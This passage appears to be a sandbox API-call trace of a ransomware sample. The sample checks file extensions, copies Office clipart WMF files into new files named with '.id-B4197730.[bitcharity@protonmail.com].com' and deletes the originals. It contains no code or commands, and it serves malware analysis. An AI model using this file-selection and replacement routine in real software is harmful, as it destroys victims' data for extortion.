Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0289.843] lstrlenW (lpString=".zip") returned 4 [0289.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.843] lstrlenW (lpString=".rar") returned 4 [0289.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.843] lstrlenW (lpString=".bz2") returned 4 [0289.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.843] lstrlenW (lpString=".7z") returned 3 [0289.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0289.843] lstrlenW (lpString=".dbf") returned 4 [0289.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0289.843] lstrlenW (lpString=".1cd") returned 4 [0289.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0289.843] lstrlenW (lpString=".jpg") returned 4 [0289.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.844] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.844] lstrlenW (lpString="DD00117_.WMF") returned 12 [0289.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0289.845] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=31122) returned 1 [0289.845] CloseHandle (hObject=0x109c) returned 1 [0289.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x220 [0289.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0289.846] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.846] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0289.846] GetLastError () returned 0x0 [0289.846] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x7992, lpOverlapped=0x0) returned 1 [0292.919] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x79a0, lpOverlapped=0x0) returned 1 [0293.414] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.414] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0293.414] SetEndOfFile (hFile=0x10c0) returned 1 [0293.414] CloseHandle (hObject=0x10c0) returned 1 [0293.414] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.414] SetEndOfFile (hFile=0x109c) returned 1 [0293.415] CloseHandle (hObject=0x109c) returned 1 [0293.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0293.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0293.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0293.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0293.416] lstrlenW (lpString=".doc") returned 4 [0293.416] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.416] lstrlenW (lpString=".docx") returned 5 [0293.416] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.416] lstrlenW (lpString=".pdf") returned 4 [0293.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.416] lstrlenW (lpString=".xls") returned 4 [0293.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.416] lstrlenW (lpString=".xlsx") returned 5 [0293.416] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.416] lstrlenW (lpString=".ppt") returned 4 [0293.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0293.416] lstrlenW (lpString=".zip") returned 4 [0293.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.417] lstrlenW (lpString=".rar") returned 4 [0293.417] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.417] lstrlenW (lpString=".bz2") returned 4 [0293.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.417] lstrlenW (lpString=".7z") returned 3 [0293.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0293.417] lstrlenW (lpString=".dbf") returned 4 [0293.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0293.417] lstrlenW (lpString=".1cd") returned 4 [0293.417] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0293.417] lstrlenW (lpString=".jpg") returned 4 [0293.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0293.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0293.417] lstrlenW (lpString=".doc") returned 4 [0293.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.417] lstrlenW (lpString=".docx") returned 5 [0293.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.418] lstrlenW (lpString=".pdf") returned 4 [0293.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.418] lstrlenW (lpString=".xls") returned 4 [0293.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.418] lstrlenW (lpString=".xlsx") returned 5 [0293.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.418] lstrlenW (lpString=".ppt") returned 4 [0293.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0293.418] lstrlenW (lpString=".zip") returned 4 [0293.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.418] lstrlenW (lpString=".rar") returned 4 [0293.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.418] lstrlenW (lpString=".bz2") returned 4 [0293.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.418] lstrlenW (lpString=".7z") returned 3 [0293.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0293.418] lstrlenW (lpString=".dbf") returned 4 [0293.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0293.418] lstrlenW (lpString=".1cd") returned 4 [0293.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0293.418] lstrlenW (lpString=".jpg") returned 4 [0293.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.419] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0293.419] lstrlenW (lpString="DD00372_.WMF") returned 12 [0293.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0293.419] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=792) returned 1 [0293.419] CloseHandle (hObject=0x109c) returned 1 [0293.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x220 [0293.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0293.419] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.419] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0293.420] GetLastError () returned 0x0 [0293.420] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x318, lpOverlapped=0x0) returned 1 [0293.634] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x320, lpOverlapped=0x0) returned 1 [0293.765] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.765] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0293.765] SetEndOfFile (hFile=0x10c0) returned 1 [0293.765] CloseHandle (hObject=0x10c0) returned 1 [0293.765] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.765] SetEndOfFile (hFile=0x109c) returned 1 [0293.766] CloseHandle (hObject=0x109c) returned 1 [0293.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0293.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0293.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0293.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0293.767] lstrlenW (lpString=".doc") returned 4 [0293.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.767] lstrlenW (lpString=".docx") returned 5 [0293.767] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.767] lstrlenW (lpString=".pdf") returned 4 [0293.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.767] lstrlenW (lpString=".xls") returned 4 [0293.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.767] lstrlenW (lpString=".xlsx") returned 5 [0293.767] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.767] lstrlenW (lpString=".ppt") returned 4 [0293.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0293.767] lstrlenW (lpString=".zip") returned 4 [0293.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.767] lstrlenW (lpString=".rar") returned 4 [0293.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.767] lstrlenW (lpString=".bz2") returned 4 [0293.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.767] lstrlenW (lpString=".7z") returned 3 [0293.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0293.767] lstrlenW (lpString=".dbf") returned 4 [0293.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0293.767] lstrlenW (lpString=".1cd") returned 4 [0293.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0293.767] lstrlenW (lpString=".jpg") returned 4 [0293.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0293.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0293.768] lstrlenW (lpString=".doc") returned 4 [0293.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.768] lstrlenW (lpString=".docx") returned 5 [0293.768] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.768] lstrlenW (lpString=".pdf") returned 4 [0293.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.768] lstrlenW (lpString=".xls") returned 4 [0293.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.768] lstrlenW (lpString=".xlsx") returned 5 [0293.768] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.768] lstrlenW (lpString=".ppt") returned 4 [0293.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0293.768] lstrlenW (lpString=".zip") returned 4 [0293.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.768] lstrlenW (lpString=".rar") returned 4 [0293.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.768] lstrlenW (lpString=".bz2") returned 4 [0293.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.768] lstrlenW (lpString=".7z") returned 3 [0293.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0293.768] lstrlenW (lpString=".dbf") returned 4 [0293.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0293.768] lstrlenW (lpString=".1cd") returned 4 [0293.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0293.769] lstrlenW (lpString=".jpg") returned 4 [0293.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.769] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0293.769] lstrlenW (lpString="DD00419_.WMF") returned 12 [0293.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0293.769] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=712) returned 1 [0293.769] CloseHandle (hObject=0x109c) returned 1 [0293.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x220 [0293.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0293.769] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.769] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0293.770] GetLastError () returned 0x0 [0293.770] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x2c8, lpOverlapped=0x0) returned 1 [0293.771] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x2d0, lpOverlapped=0x0) returned 1 [0293.771] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.771] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0293.772] SetEndOfFile (hFile=0x10c0) returned 1 [0293.772] CloseHandle (hObject=0x10c0) returned 1 [0293.772] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.772] SetEndOfFile (hFile=0x109c) returned 1 [0293.773] CloseHandle (hObject=0x109c) returned 1 [0293.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0293.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0293.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0293.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0293.773] lstrlenW (lpString=".doc") returned 4 [0293.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.773] lstrlenW (lpString=".docx") returned 5 [0293.773] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.773] lstrlenW (lpString=".pdf") returned 4 [0293.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.773] lstrlenW (lpString=".xls") returned 4 [0293.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.773] lstrlenW (lpString=".xlsx") returned 5 [0293.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.773] lstrlenW (lpString=".ppt") returned 4 [0293.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0293.774] lstrlenW (lpString=".zip") returned 4 [0293.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.774] lstrlenW (lpString=".rar") returned 4 [0293.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.774] lstrlenW (lpString=".bz2") returned 4 [0293.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.774] lstrlenW (lpString=".7z") returned 3 [0293.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0293.774] lstrlenW (lpString=".dbf") returned 4 [0293.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0293.774] lstrlenW (lpString=".1cd") returned 4 [0293.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0293.774] lstrlenW (lpString=".jpg") returned 4 [0293.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0293.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0293.774] lstrlenW (lpString=".doc") returned 4 [0293.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.774] lstrlenW (lpString=".docx") returned 5 [0293.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.774] lstrlenW (lpString=".pdf") returned 4 [0293.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.774] lstrlenW (lpString=".xls") returned 4 [0293.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.774] lstrlenW (lpString=".xlsx") returned 5 [0293.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.774] lstrlenW (lpString=".ppt") returned 4 [0293.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0293.774] lstrlenW (lpString=".zip") returned 4 [0293.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.775] lstrlenW (lpString=".rar") returned 4 [0293.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.775] lstrlenW (lpString=".bz2") returned 4 [0293.775] lstrcmpiW (lpString1=".bz2", 